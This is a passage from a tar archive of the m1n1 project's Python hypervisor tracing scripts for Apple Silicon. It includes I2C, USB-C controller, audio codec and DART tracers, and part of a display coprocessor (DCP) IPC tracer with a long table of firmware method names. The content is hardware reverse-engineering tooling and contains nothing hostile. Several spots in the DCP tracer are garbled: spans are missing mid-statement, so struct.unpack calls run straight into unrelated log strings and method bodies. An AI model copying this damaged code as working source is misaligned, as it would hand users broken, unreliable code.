HpmTracer(I2CDevTracer): class State(Enum): UNKNOWN = 0 REQUEST = 1 WRITE = 2 READ = 3 def __init__(self, addr=128, name=None, verbose=True): print(f"CD3217Tracer.__init__(addr={addr}, name={name}, verbose={verbose})") super().__init__(addr, name, verbose) self.reset() def reset(self): self.reg = None self.state = CD3217Tracer.State.UNKNOWN self.length = None self.data = [] def start(self, addr, read): if addr != self.addr: return if self.state == CD3217Tracer.State.UNKNOWN: if read: self.state = CD3217Tracer.State.READ else: self.state = CD3217Tracer.State.REQUEST elif self.state == CD3217Tracer.State.REQUEST and read: pass else: self.log(f"unexpected state in start(read={read}): state:{self.state} reg:{self.reg} data:{self.data}") def stop(self): if self.state == CD3217Tracer.State.REQUEST and len(self.data) == 0: return msg = f"Txn: {self.addr:02x}." if self.state == CD3217Tracer.State.REQUEST: msg += f"r [{self.reg:02x}]" elif self.state == CD3217Tracer.State.WRITE: msg += f"w [{self.reg:02x}]" elif self.state == CD3217Tracer.State.READ: msg += f"r [xx]" else: self.log(f"unexpected state in stop(): state:{self.state} reg:{self.reg} data:{self.data}") self.reset() return # only for debugging as some mismatches are expected as # cd3217 seems to report the register size and not the number # of requested bytes (or I2CDevTracer truncates reads). #if self.length is not None and self.length > len(self.data): # self.log(f"length {self.length:02x} mismatch received data: {len(self.data):02x}") for data in self.data: msg += f" {data:02x}" self.log(msg) self.reset() def read(self, data): self.data.append(data) def write(self, data): if self.reg is None: self.reg = data elif self.length is None: self.length = data self.state = CD3217Tracer.State.WRITE else: self.data.append(data) class CD3217Tracer(HpmTracer): def read(self, data): if self.length is None: self.length = data - 1 else: self.data.append(data) i2c_tracers = {} for node in hv.adt["/arm-io"]: if not node.name.startswith("i2c"): continue n = int(node.name[3:]) bus = I2CTracer(hv, f"/arm-io/{node.name}") for mngr_node in node: if "compatible" not in mngr_node._properties: # thanks Apple continue if mngr_node.compatible[0] != "usbc,manager": continue addr = mngr_node.reg[0] & 0xff bus.add_device(addr, HpmTracer(addr=addr, name=mngr_node.name)) for devnode in mngr_node: dcls = { "usbc,cd3217": CD3217Tracer, }.get(devnode.compatible[0], None) if dcls: addr = devnode.hpm_iic_addr & 0xff bus.add_device(addr, dcls(addr=addr, name=devnode.name)) if len(bus.state.devices) > 1: i2c_tracers[n] = bus for bus in i2c_tracers.values(): bus.start() m1n1-1.4.11/proxyclient/hv/trace_codecs.py000066400000000000000000000023701453754430200203500ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.utils import RegMap from m1n1.trace.i2c import I2CTracer, I2CRegMapTracer from m1n1.hw.codecs import * hv.p.hv_set_time_stealing(0, 1) class SN012776Tracer(I2CRegMapTracer): REGMAP = SN012776Regs ADDRESSING = (1, 1) class TAS5770Tracer(I2CRegMapTracer): REGMAP = TAS5770Regs ADDRESSING = (1, 1) class CS42L84Tracer(I2CRegMapTracer): REGMAP = CS42L84Regs ADDRESSING = (0, 2) class SSM3515Tracer(I2CRegMapTracer): REGMAP = SSM3515Regs ADDRESSING = (0, 1) i2c_tracers = {} for node in hv.adt["/arm-io"]: if not node.name.startswith("i2c"): continue n = int(node.name[3:]) i2c_tracers[n] = bus = I2CTracer(hv, f"/arm-io/{node.name}") for devnode in node: if "compatible" not in devnode._properties: # thanks Apple continue dcls = { "audio-control,tas5770": TAS5770Tracer, "audio-control,sn012776": SN012776Tracer, "audio-control,cs42l84": CS42L84Tracer, "audio-control,ssm3515": SSM3515Tracer, }.get(devnode.compatible[0], None) if dcls: bus.add_device( devnode.reg[0] & 0xff, dcls(name=devnode.name) ) bus.start() m1n1-1.4.11/proxyclient/hv/trace_dart.py000066400000000000000000000007761453754430200200520ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.trace.dart import DARTTracer DARTTracer = DARTTracer._reloadcls() DEVICES = [ "/arm-io/dart-pmp", "/arm-io/dart-sep", "/arm-io/dart-sio", "/arm-io/dart-usb1", "/arm-io/dart-disp0", "/arm-io/dart-dcp", "/arm-io/dart-dispext0", "/arm-io/dart-dcpext", "/arm-io/dart-scaler", ] dart_tracers = {} for i in DEVICES: tracer = DARTTracer(hv, i, verbose=3) tracer.start() dart_tracers[i.split("-")[-1]] = tracer del tracer m1n1-1.4.11/proxyclient/hv/trace_dcp.py000066400000000000000000001707401453754430200176650ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from io import BytesIO from enum import IntEnum from m1n1.constructutils import Ver from m1n1.proxyutils import RegMonitor from m1n1.utils import * from m1n1.trace.dart import DARTTracer from m1n1.trace.asc import ASCTracer, EP, EPState, msg, msg_log, DIR from m1n1.fw.afk.rbep import * from m1n1.fw.afk.epic import * Ver.set_version(hv.u) class DCPDevType(IntEnum): DCP = 0 DART_DCP = 1 DART_DISP = 2 def get_alias(node): if "aliases" in u.adt and hasattr(u.adt["aliases"], node): return u.adt["aliases"].getprop(node).rsplit('/', 1)[1] return node def get_dcp_device(dev_type, dcp): if dev_type is DCPDevType.DCP: return "/arm-io/" + get_alias(dcp) elif dev_type is DCPDevType.DART_DCP: return "/arm-io/dart-" + get_alias(dcp) elif dev_type is DCPDevType.DART_DISP: return "/arm-io/dart-" + dcp.replace("dcp", "disp") else: raise KeyError(dev_type) dcp_name = "dcp0" #dcp_name = "dcpext0" trace_device(get_dcp_device(DCPDevType.DCP, dcp_name), True, ranges=[1]) DARTTracer = DARTTracer._reloadcls() ASCTracer = ASCTracer._reloadcls() iomon = RegMonitor(hv.u, ascii=True) class AFKRingBufSniffer(AFKRingBuf): def __init__(self, ep, state, base, size): super().__init__(ep, base, size) self.state = state self.rptr = getattr(state, "rptr", 0) def update_rptr(self, rptr): self.state.rptr = rptr def update_wptr(self): raise NotImplementedError() def get_wptr(self): return struct.unpack("TX msg:{msg}") for data in self.txbuf.read(): if self.state.verbose >= 3: self.log(f">TX rptr={self.txbuf.state.rptr:#x}") chexdump(data, print_fn=self.log) self.handle_ipc(data, dir=">") return True Hello = msg_log(0xa3, DIR.TX) @msg(0x85, DIR.RX, AFKEPMessage) def Recv(self, msg): self.log(f"= 3: self.log(f" unknown group {sgroup}; command {scmd}") if sdata: chexdump(sdata, print_fn=self.log) def handle_reply(self, sgroup, scmd, sdata): replyfn = self.replymap.get((sgroup, scmd), None) if replyfn: replyfn(sdata) else: self.log(f"< unknown group {sgroup}; command {scmd}") if sdata: chexdump(sdata, print_fn=self.log) def handle_notify(self, sgroup, scmd, sdata): notifyfn = self.notifymap.get((sgroup, scmd), None) if notifyfn: notifyfn(sdata) else: self.log(f"< unknown group {sgroup}; command {scmd}") if sdata: chexdump(sdata, print_fn=self.log) def handle_notify_ack(self, sgroup, scmd, sdata): notifyackfn = self.notifyackmap.get((sgroup, scmd), None) if notifyackfn: notifyackfn(sdata) else: self.log(f"< unknown group {sgroup}; command {scmd}") if sdata: chexdump(sdata, print_fn=self.log) @epic_service_cmd(4, 4) def getLocation(self, data): self.log("> getLocation") @epic_service_reply(4, 4) def getLocation_reply(self, data): self.log("< getLocation") @epic_service_cmd(4, 5) def getUnit(self, data): self.log("> getUnit") @epic_service_reply(4, 5) def getUnit_reply(self, data): self.log("< getUnit") @epic_service_cmd(4, 6) def open(self, data): self.log("> open") @epic_service_reply(4, 6) def open_reply(self, data): self.log("< open") @epic_service_cmd(4, 7) def close(self, data): self.log("> close") @epic_service_reply(4, 7) def close_reply(self, data): self.log("< close") class EPICEp(AFKEp): SERVICES = [] def __init__(self, tracer, epid): super().__init__(tracer, epid) self.serv_map = {} self.chan_map = {} self.serv_names = {} for i in self.SERVICES: self.serv_names[i.NAME] = i def handle_ipc(self, data, dir=None): fd = BytesIO(data) hdr = EPICHeader.parse_stream(fd) sub = EPICSubHeader.parse_stream(fd) self.log(f"{dir}Ch {hdr.channel} Type {hdr.type} Ver {hdr.version} Tag {hdr.seq}") self.log(f" Len {sub.length} Ver {sub.version} Cat {sub.category} Type {sub.type:#x} Seq {sub.seq}") # chexdump(data, print_fn=self.log) if sub.category == EPICCategory.REPORT: self.handle_report(hdr, sub, fd) elif sub.category == EPICCategory.NOTIFY: self.handle_notify(hdr, sub, fd) elif sub.category == EPICCategory.REPLY: if hdr.type == EPICType.NOTIFY_ACK: self.handle_notify_ack(hdr, sub, fd) else: self.handle_reply(hdr, sub, fd) elif sub.category == EPICCategory.COMMAND: self.handle_cmd(hdr, sub, fd) def handle_report_init(self, hdr, sub, fd): init = EPICAnnounce.parse_stream(fd) self.log(f"Init: {init.name}") self.log(f" Props: {init.props}") if not init.props: init.props = {} name = init.props.get("EPICName", init.name) key = name + str(init.props.get("EPICUnit", "")) self.log(f"New service: {key} on channel {hdr.channel}") srv_cls = self.serv_names.get(name, EPICServiceTracer) srv = srv_cls(self.tracer, self, key) srv.init(init.props) srv.chan = hdr.channel self.chan_map[hdr.channel] = srv self.serv_map[key] = srv def handle_report(self, hdr, sub, fd): if sub.type == 0x30: self.handle_report_init(hdr, sub, fd) else: self.log(f"Report {sub.type:#x}") chexdump(fd.read(), print_fn=self.log) def handle_notify(self, hdr, sub, fd): self.log(f"Notify:") data = fd.read() rgroup, rcmd, rlen, rmagic = struct.unpack("<2xHIII", data[4:20]) if rmagic != 0x69706378: self.log("Warning: Invalid EPICStandardService notify magic") srv = self.chan_map.get(hdr.channel, None) if srv: srv.handle_notify(rgroup, rcmd, data[4:] if rlen else None) else: self.log(f"[???] < group {rgroup} command {rcmd}") chexdump(data, print_fn=lambda msg: self.log(f"[???] {msg}")) def handle_notify_ack(self, hdr, sub, fd): self.log(f"NotifyAck:") data = fd.read() rgroup, rcmd, rlen, rmagic = struct.unpack("<2xHIII", data[4:20]) if rmagic != 0x69706378: self.log("Warning: Invalid EPICStandardService notify magic") srv = self.chan_map.get(hdr.channel, None) if srv: srv.handle_notify_ack(rgroup, rcmd, data[4:] if rlen else None) else: self.log(f"[???] > group {rgroup} command {rcmd}") chexdump(data, print_fn=lambda msg: self.log(f"[???] {msg}")) def handle_reply(self, hdr, sub, fd): if sub.inline_len: payload = fd.read() self.log("Inline payload:") chexdump(payload, print_fn=self.log) else: off = fd.tell() data = fd.read() if len(data) == 4: retcode = struct.unpack(" group {sgroup} command {scmd}") chexdump(data[64:64+slen], print_fn=lambda msg: self.log(f"[???] {msg}")) else: self.log(f"Command {sub.type:#x}: {cmd.retcode:#x}") if payload: chexdump(payload, print_fn=self.log) if cmd.txbuf: self.log(f"TX buf @ {cmd.txbuf:#x} ({cmd.txlen:#x} bytes):") chexdump(self.dart.ioread(self.stream, cmd.txbuf, cmd.txlen), print_fn=self.log) KNOWN_MSGS = { "A000": "IOMFB::UPPipeAP_H13P::late_init_signal()", "A001": "IOMFB::UPPipeAP_H13P::init_ipa(unsigned long long, unsigned long)", "A002": "IOMFB::UPPipeAP_H13P::alss_supported()", "A003": "IOMFB::UPPipeAP_H13P::reset_dsc()", "A004": "IOMFB::UPPipeAP_H13P::display_edr_factor_changed(float)", "A005": "IOMFB::UPPipeAP_H13P::set_contrast(float)", "A006": "IOMFB::UPPipeAP_H13P::set_csc_mode(IOMFB_CSCMode)", "A007": "IOMFB::UPPipeAP_H13P::set_op_mode(IOMFB_CSCMode)", "A008": "IOMFB::UPPipeAP_H13P::set_op_gamma_mode(IOMFB_TFMode)", "A009": "IOMFB::UPPipeAP_H13P::set_video_out_mode(IOMFB_Output_Mode)", "A010": "IOMFB::UPPipeAP_H13P::set_meta_allowed(bool)", "A011": "IOMFB::UPPipeAP_H13P::set_tunneled_color_mode(bool)", "A012": "IOMFB::UPPipeAP_H13P::set_bwr_line_time_us(double)", "A013": "IOMFB::UPPipeAP_H13P::performance_feedback(double)", "A014": "IOMFB::UPPipeAP_H13P::notify_swap_complete(unsigned int)", "A015": "IOMFB::UPPipeAP_H13P::is_run_mode_change_pending() const", "A016": "IOMFB::UPPipeAP_H13P::ready_for_run_mode_change(IOMFB::AppleRegisterStream*)", "A017": "IOMFB::UPPipeAP_H13P::set_thermal_throttle_cap(unsigned int)", "A018": "IOMFB::UPPipeAP_H13P::emergency_shutdown_normal_mode(IOMFB::AppleRegisterStream*)", "A019": "IOMFB::UPPipeAP_H13P::set_target_run_mode(IOMFB::AppleRegisterStream*)", "A020": "IOMFB::UPPipeAP_H13P::rt_bandwidth_setup()", "A021": "IOMFB::UPPipeAP_H13P::rt_bandwidth_update(IOMFB::AppleRegisterStream*, float, float, bool, bool)", "A022": "IOMFB::UPPipeAP_H13P::rt_bandwidth_update_downgrade(IOMFB::AppleRegisterStream*)", "A023": "IOMFB::UPPipeAP_H13P::rt_bandwidth_write_update(IOMFB::AppleRegisterStream*, RealtimeBandwithWritebackBlock, bool)", "A024": "IOMFB::UPPipeAP_H13P::cif_blending_eco_present()", "A025": "IOMFB::UPPipeAP_H13P::request_bic_update()", "A026": "IOMFB::UPPipeAP_H13P::early_power_off_warning(IOMFB::AppleRegisterStream*)", "A027": "IOMFB::UPPipeAP_H13P::get_max_frame_size(unsigned int*, unsigned int*)", "A028": "IOMFB::UPPipeAP_H13P::shadow_FIFO_empty(IOMFB::AppleRegisterStream*) const", "A029": "IOMFB::UPPipeAP_H13P::setup_video_limits()", "A030": "IOMFB::UPPipeAP_H13P::can_program_swap() const", "A031": "IOMFB::UPPipeAP_H13P::in_auto_mode() const", "A032": "IOMFB::UPPipeAP_H13P::push_black_frame(IOMFB::AppleRegisterStream*)", "A033": "IOMFB::UPPipeAP_H13P::read_crc(Notify_Info_Index, unsigned int)", "A034": "IOMFB::UPPipeAP_H13P::update_notify_clients_dcp(unsigned int const*)", "A035": "IOMFB::UPPipeAP_H13P::is_hilo() const", "A036": "IOMFB::UPPipeAP_H13P::apt_supported() const", "A037": "IOMFB::UPPipeAP_H13P::get_dfb_info(unsigned int*, unsigned long long*, unsigned int*)", "A038": "IOMFB::UPPipeAP_H13P::get_dfb_compression_info(unsigned int*)", "A039": "IOMFB::UPPipeAP_H13P::get_frame_done_time() const", "A040": "IOMFB::UPPipeAP_H13P::get_performance_headroom() const", "A041": "IOMFB::UPPipeAP_H13P::are_stats_active() const", "A042": "IOMFB::UPPipeAP_H13P::supports_odd_h_blanking() const", "A043": "IOMFB::UPPipeAP_H13P::is_first_hw_version() const", "A044": "IOMFB::UPPipeAP_H13P::set_blendout_CSC_mode()", "A100": "IOMFB::UPPipe2::get_gamma_table_gated(IOMFBGammaTable*)", "A101": "IOMFB::UPPipe2::set_gamma_table_gated(IOMFBGammaTable const*)", "A102": "IOMFB::UPPipe2::test_control(IOMFB_TC_Cmd, unsigned int)", "A103": "IOMFB::UPPipe2::get_config_frame_size(unsigned int*, unsigned int*) const", "A104": "IOMFB::UPPipe2::set_config_frame_size(unsigned int, unsigned int) const", "A105": "IOMFB::UPPipe2::program_config_frame_size() const", "A106": "IOMFB::UPPipe2::read_blend_crc() const", "A107": "IOMFB::UPPipe2::read_config_crc() const", "A108": "IOMFB::UPPipe2::disable_wpc_calibration(bool)", "A109": "IOMFB::UPPipe2::vftg_is_running(IOMFB::AppleRegisterStream*) const", "A110": "IOMFB::UPPipe2::vftg_debug(IOMFB::AppleRegisterStream*, unsigned int) const", "A111": "IOMFB::UPPipe2::vftg_set_color_channels(unsigned int, unsigned int, unsigned int)", "A112": "IOMFB::UPPipe2::set_color_filter_scale(int)", "A113": "IOMFB::UPPipe2::set_corner_temps(int const*)", "A114": "IOMFB::UPPipe2::reset_aot_enabled() const", "A115": "IOMFB::UPPipe2::aot_enabled() const", "A116": "IOMFB::UPPipe2::aot_active() const", "A117": "IOMFB::UPPipe2::set_timings_enabled(IOMFB::AppleRegisterStream*, bool)", "A118": "IOMFB::UPPipe2::get_frame_size(IOMFB::AppleRegisterStream*, unsigned int*, unsigned int*)", "A119": "IOMFB::UPPipe2::set_block(unsigned long long, unsigned int, unsigned int, unsigned long long const*, unsigned int, unsigned char const*, unsigned long, bool)", "A121": "IOMFB::UPPipe2::get_buf_block(unsigned long long, unsigned int, unsigned int, unsigned long long const*, unsigned int, unsigned char const*, unsigned long, bool)", "A122": "IOMFB::UPPipe2::get_matrix(IOMFB_MatrixLocation, IOMFBColorFixedMatrix*) const", "A123": "IOMFB::UPPipe2::set_matrix(IOMFB_MatrixLocation, IOMFBColorFixedMatrix const*)", "A124": "IOMFB::UPPipe2::get_internal_timing_attributes_gated(IOMFB::RefreshTimingAttributes*) const", "A125": "IOMFB::UPPipe2::display_edr_factor_changed(float)", "A126": "IOMFB::UPPipe2::set_contrast(float)", "A127": "IOMFB::UPPipe2::p3_to_disp_cs(float const*, float const (*) [2])", "A128": "IOMFB::UPPipe2::max_panel_brightness() const", "A129": "IOMFB::UPPipe2::swap_flush_stream_replay(IOMFB::AppleRegisterStream*)", "A130": "IOMFB::UPPipe2::init_ca_pmu()", "A131": "IOMFB::UPPipe2::pmu_service_matched()", "A132": "IOMFB::UPPipe2::backlight_service_matched()", "A200": "IOMFB::PropRelay::setBool(IOMFB::RuntimeProperty, bool)", "A201": "IOMFB::PropRelay::setInt(IOMFB::RuntimeProperty, unsigned int)", "A202": "IOMFB::PropRelay::setFx(IOMFB::RuntimeProperty, int)", "A203": "IOMFB::PropRelay::setPropDynamic(IOMFB::RuntimeProperty, unsigned int)", "A204": "IOMFB::PropRelay::getBool(IOMFB::RuntimeProperty)", "A205": "IOMFB::PropRelay::getInt(IOMFB::RuntimeProperty)", "A206": "IOMFB::PropRelay::getFx(IOMFB::RuntimeProperty)", "A350": "UnifiedPipeline2::displayHeight()", "A351": "UnifiedPipeline2::displayWidth()", "A352": "UnifiedPipeline2::applyProperty(unsigned int, unsigned int)", "A353": "UnifiedPipeline2::get_system_type() const", "A354": "UnifiedPipeline2::headless() const", "A355": "UnifiedPipeline2::export_idle_method(unsigned int)", "A357": "UnifiedPipeline2::set_create_DFB()", "A358": "UnifiedPipeline2::vi_set_temperature_hint()", "A400": "IOMobileFramebufferAP::free_signal()", "A401": "IOMobileFramebufferAP::start_signal()", "A402": "IOMobileFramebufferAP::stop_signal()", "A403": "IOMobileFramebufferAP::systemWillShutdown()", "A404": "IOMobileFramebufferAP::swap_begin()", "A405": "IOMobileFramebufferAP::rotate_surface(unsigned int, unsigned int, unsigned int)", "A406": "IOMobileFramebufferAP::get_framebuffer_id()", "A407": "IOMobileFramebufferAP::swap_start(unsigned int*, IOUserClient*)", "A408": "IOMobileFramebufferAP::swap_submit_dcp(IOMFBSwapRec const*, IOSurface**, unsigned int const*, bool, double, unsigned int, bool*)", "A409": "IOMobileFramebufferAP::swap_signal(unsigned int, unsigned int)", "A410": "IOMobileFramebufferAP::set_display_device(unsigned int)", "A411": "IOMobileFramebufferAP::is_main_display() const", "A412": "IOMobileFramebufferAP::set_digital_out_mode(unsigned int, unsigned int)", "A413": "IOMobileFramebufferAP::get_digital_out_state(unsigned int*)", "A414": "IOMobileFramebufferAP::get_display_area(DisplayArea*)", "A415": "IOMobileFramebufferAP::set_tvout_mode(unsigned int)", "A416": "IOMobileFramebufferAP::set_tvout_signaltype(unsigned int)", "A417": "IOMobileFramebufferAP::set_wss_info(unsigned int, unsigned int)", "A418": "IOMobileFramebufferAP::set_content_flags(unsigned int)", "A419": "IOMobileFramebufferAP::get_gamma_table(IOMFBGammaTable*)", "A420": "IOMobileFramebufferAP::set_gamma_table(IOMFBGammaTable*)", "A421": "IOMobileFramebufferAP::get_matrix(unsigned int, unsigned long long (*) [3][3]) const", "A422": "IOMobileFramebufferAP::set_matrix(unsigned int, unsigned long long const (*) [3][3])", "A423": "IOMobileFramebufferAP::set_contrast(float*)", "A424": "IOMobileFramebufferAP::set_white_on_black_mode(unsigned int)", "A425": "IOMobileFramebufferAP::set_color_remap_mode(DisplayColorRemapMode)", "A426": "IOMobileFramebufferAP::get_color_remap_mode(DisplayColorRemapMode*) const", "A427": "IOMobileFramebufferAP::setBrightnessCorrection(unsigned int)", "A428": "IOMobileFramebufferAP::temp_queue_swap_cancel(unsigned int)", "A429": "IOMobileFramebufferAP::swap_cancel(unsigned int)", "A430": "IOMobileFramebufferAP::swap_cancel_all_dcp(unsigned long long)", "A431": "IOMobileFramebufferAP::surface_is_replaceable(unsigned int, bool*)", "A432": "IOMobileFramebufferAP::kernel_tests(IOMFBKernelTestsArguments*)", "A433": "IOMobileFramebufferAP::splc_set_brightness(unsigned int)", "A434": "IOMobileFramebufferAP::splc_get_brightness(unsigned int*)", "A435": "IOMobileFramebufferAP::set_block_dcp(task*, unsigned int, unsigned int, unsigned long long const*, unsigned int, unsigned char const*, unsigned long)", "A436": "IOMobileFramebufferAP::get_block_dcp(task*, unsigned int, unsigned int, unsigned long long const*, unsigned int, unsigned char*, unsigned long) const", "A438": "IOMobileFramebufferAP::swap_set_color_matrix(IOMFBColorFixedMatrix*, IOMFBColorMatrixFunction, unsigned int)", "A439": "IOMobileFramebufferAP::set_parameter_dcp(IOMFBParameterName, unsigned long long const*, unsigned int)", "A440": "IOMobileFramebufferAP::display_width() const", "A441": "IOMobileFramebufferAP::display_height() const", "A442": "IOMobileFramebufferAP::get_display_size(unsigned int*, unsigned int*) const", "A443": "IOMobileFramebufferAP::do_create_default_frame_buffer() const", "A444": "IOMobileFramebufferAP::printRegs()", "A445": "IOMobileFramebufferAP::enable_disable_dithering(unsigned int)", "A446": "IOMobileFramebufferAP::set_underrun_color(unsigned int)", "A447": "IOMobileFramebufferAP::enable_disable_video_power_savings(unsigned int)", "A448": "IOMobileFramebufferAP::set_video_dac_gain(unsigned int)", "A449": "IOMobileFramebufferAP::set_line21_data(unsigned int)", "A450": "IOMobileFramebufferAP::enableInternalToExternalMirroring(bool)", "A451": "IOMobileFramebufferAP::getExternalMirroringCapability(IOMFBMirroringCapability*)", "A452": "IOMobileFramebufferAP::setRenderingAngle(float*)", "A453": "IOMobileFramebufferAP::setOverscanSafeRegion(IOMFBOverscanSafeRect*)", "A454": "IOMobileFramebufferAP::first_client_open()", "A455": "IOMobileFramebufferAP::last_client_close_dcp(unsigned int*)", "A456": "IOMobileFramebufferAP::writeDebugInfo(unsigned long)", "A457": "IOMobileFramebufferAP::flush_debug_flags(unsigned int)", "A458": "IOMobileFramebufferAP::io_fence_notify(unsigned int, unsigned int, unsigned long long, IOMFBStatus)", "A459": "IOMobileFramebufferAP::swap_wait_dcp(bool, unsigned int, unsigned int, unsigned int)", "A460": "IOMobileFramebufferAP::setDisplayRefreshProperties()", "A461": "IOMobileFramebufferAP::exportProperty(unsigned int, unsigned int)", "A462": "IOMobileFramebufferAP::applyProperty(unsigned int, unsigned int)", "A463": "IOMobileFramebufferAP::flush_supportsPower(bool)", "A464": "IOMobileFramebufferAP::abort_swaps_dcp(IOMobileFramebufferUserClient*)", "A465": "IOMobileFramebufferAP::swap_signal_gated(unsigned int, unsigned int)", "A466": "IOMobileFramebufferAP::update_dfb(IOSurface*, unsigned int, unsigned int, unsigned long long)", "A467": "IOMobileFramebufferAP::update_dfb(IOSurface*)", "A468": "IOMobileFramebufferAP::setPowerState(unsigned long, bool, unsigned int*)", "A469": "IOMobileFramebufferAP::isKeepOnScreen() const", "A470": "IOMobileFramebufferAP::resetStats()", "A471": "IOMobileFramebufferAP::set_has_frame_swap_function(bool)", "A472": "IOMobileFramebufferAP::getPerformanceStats(unsigned int*, unsigned int*)", "D000": "bool IOMFB::UPPipeAP_H13P::did_boot_signal()", "D001": "bool IOMFB::UPPipeAP_H13P::did_power_on_signal()", "D002": "void IOMFB::UPPipeAP_H13P::will_power_off_signal()", "D003": "void IOMFB::UPPipeAP_H13P::rt_bandwidth_setup_ap(inout rt_bw_config_t*)", "D004": "void IOMFB::UPPipeAP_H13P::mcc_report_replay(bool, unsigned int)", "D005": "void IOMFB::UPPipeAP_H13P::mcc_report_bics(bool, unsigned int)", "D100": "void UnifiedPipeline2::match_pmu_service()", #"D101": "", # get some uint32_t, inlined "D102": "void UnifiedPipeline2::set_number_property(char const*, unsigned int)", "D103": "void UnifiedPipeline2::set_boolean_property(char const*, bool)", "D104": "void UnifiedPipeline2::set_string_property(char const*, char const*)", "D105": "IOReturn IOService::acknowledgeSetPowerState()", "D106": "void IORegistryEntry::removeProperty(char const*)", "D107": "bool UnifiedPipeline2::create_provider_service", "D108": "bool UnifiedPipeline2::create_product_service()", "D109": "bool UnifiedPipeline2::create_PMU_service()", "D110": "bool UnifiedPipeline2::create_iomfb_service()", "D111": "bool UnifiedPipeline2::create_backlight_service()", "D112": "void UnifiedPipeline2::set_idle_caching_state_ap(IdleCachingState, unsigned int)", "D113": "bool UnifiedPipeline2::upload_trace_start(IOMFB::FrameInfoBuffer::FrameInfoConstants const*)", "D114": "bool UnifiedPipeline2::upload_trace_chunk(IOMFB::FrameInfoBuffer::FrameInfoData const*, unsigned int, unsigned int)", "D115": "bool UnifiedPipeline2::upload_trace_end(char const*)", "D116": "bool UnifiedPipeline2::start_hardware_boot()", "D117": "bool UnifiedPipeline2::is_dark_boot()", "D118": "bool UnifiedPipeline2::is_waking_from_hibernate()", "D119": "bool UnifiedPipeline2::detect_fastsim()", "D120": "bool UnifiedPipeline2::read_edt_data(char const*, unsigned int, unsigned int*) const", "D121": "bool UnifiedPipeline2::read_edt_string(char const*, char*, unsigned int*) const", "D122": "bool UnifiedPipeline2::setDCPAVPropStart(unsigned int)", "D123": "bool UnifiedPipeline2::setDCPAVPropChunk(unsigned char const*, unsigned int, unsigned int)", "D124": "bool UnifiedPipeline2::setDCPAVPropEnd(char const*)", "D200": "uint64_t IOMFB::UPPipe2::get_default_idle_caching_method()", "D201": "IOMFBStatus IOMFB::UPPipe2::map_buf(IOMFB::BufferDescriptor*, unsigned long*, unsigned long long*, bool)", "D202": "void IOMFB::UPPipe2::unmap_buf(IOMFB::BufferDescriptor*, unsigned long, unsigned long long, bool)", "D203": "bool IOMFB::UPPipe2::aot_supported_peek()", "D204": "uint64_t IOMFB::UPPipe2::get_ideal_screen_space()", "D205": "bool IOMFB::UPPipe2::read_carveout(unsigned char*, unsigned int, unsigned int) const", "D206": "bool IOMFB::UPPipe2::match_pmu_service()", "D207": "bool IOMFB::UPPipe2::match_backlight_service()", "D208": "uint64_ IOMFB::UPPipe2::get_calendar_time_ms()", "D209": "void IOMFB::UPPipe2::plc_enable(bool)", "D210": "void IOMFB::UPPipe2::plc_init()", "D211": "void IOMFB::UPPipe2::update_backlight_factor_prop(int)", "D300": "void IOMFB::PropRelay::publish(IOMFB::RuntimeProperty, unsigned int)", "D400": "void IOMFB::ServiceRelay::get_property(unsigned int, in char const[0x40], out unsigned char[0x200], inout unsigned int*)", "D401": "bool IOMFB::ServiceRelay::get_uint_prop(unsigned int, in char const[0x40], inout unsigned long long*)", "D402": "void IOMFB::ServiceRelay::set_uint_prop(unsigned int, in char const[0x40], unsigned long long)", "D403": "bool IOMFB::ServiceRelay::get_uint_prop(unsigned int, in char const[0x40], inout unsigned int*)", "D404": "void IOMFB::ServiceRelay::set_uint_prop(unsigned int, in char const[0x40], unsigned int)", "D405": "bool IOMFB::ServiceRelay::get_fx_prop(unsigned int, in char const[0x40], inout int*)", "D406": "void IOMFB::ServiceRelay::set_fx_prop(unsigned int, in char const[0x40], int)", "D407": "void IOMFB::ServiceRelay::set_bool_prop(unsigned int, in char const[0x40], bool)", "D408": "unsigned long long IOMFB::ServiceRelay::getClockFrequency(unsigned int, unsigned int)", "D409": "IOMFBStatus IOMFB::ServiceRelay::enableDeviceClock(unsigned int, unsigned int, unsigned int)", "D410": "IOMFBStatus IOMFB::ServiceRelay::enableDevicePower(unsigned int, unsigned int, inout unsigned int*, unsigned int)", "D411": "IOMFBStatus IOMFB::ServiceRelay::mapDeviceMemoryWithIndex(unsigned int, unsigned int, unsigned int, inout unsigned long*, inout unsigned long long*)", "D412": "bool IOMFB::ServiceRelay::setProperty(unsigned int, OSString<0x40> const*, OSArray const*)", "D413": "bool IOMFB::ServiceRelay::setProperty(unsigned int, OSString<0x40> const*, OSDictionary const*)", "D414": "bool IOMFB::ServiceRelay::setProperty(unsigned int, OSString<0x40> const*, OSNumber const*)", "D415": "bool IOMFB::ServiceRelay::setProperty(unsigned int, OSString<0x40> const*, OSBoolean const*)", "D416": "bool IOMFB::ServiceRelay::setProperty(unsigned int, OSString<0x40> const*, OSString const*)", "D417": "bool IOMFB::ServiceRelay::setProperty(unsigned int, char const[0x40], OSArray const*)", "D418": "bool IOMFB::ServiceRelay::setProperty(unsigned int, char const[0x40], OSDictionary const*)", "D419": "bool IOMFB::ServiceRelay::setProperty(unsigned int, char const[0x40], OSNumber const*)", "D420": "bool IOMFB::ServiceRelay::setProperty(unsigned int, char const[0x40], OSBoolean const*)", "D421": "bool IOMFB::ServiceRelay::setProperty(unsigned int, char const[0x40], OSString const*)", "D422": "bool IOMFB::ServiceRelay::setProperty(unsigned int, char const[0x40], bool)", "D423": "void IOMFB::ServiceRelay::removeProperty(unsigned int, char const[0x40])", "D424": "void IOMFB::ServiceRelay::removeProperty(unsigned int, OSString<0x40> const*)", "D450": "bool IOMFB::MemDescRelay::from_id(unsigned int, unsigned long*, unsigned long*, unsigned long long*)", "D451": "MemDescRelay::desc_id_t IOMFB::MemDescRelay::allocate_buffer(unsigned int, unsigned long long, unsigned int, unsigned long*, unsigned long*, unsigned long long*)", "D452": "MemDescRelay::desc_id_t IOMFB::MemDescRelay::map_physical(unsigned long long, unsigned long long, unsigned int, unsigned long*, unsigned long long*)", "D453": "MemDescRelay::desc_id_t IOMFB::MemDescRelay::withAddressRange(unsigned long long, unsigned long long, unsigned int, task*, unsigned long*, unsigned long long*)", "D454": "IOMFBStatus IOMFB::MemDescRelay::prepare(unsigned int, unsigned int)", "D455": "IOMFBStatus IOMFB::MemDescRelay::complete(unsigned int, unsigned int)", "D456": "bool IOMFB::MemDescRelay::release_descriptor(unsigned int)", "D500": "IOMFBStatus 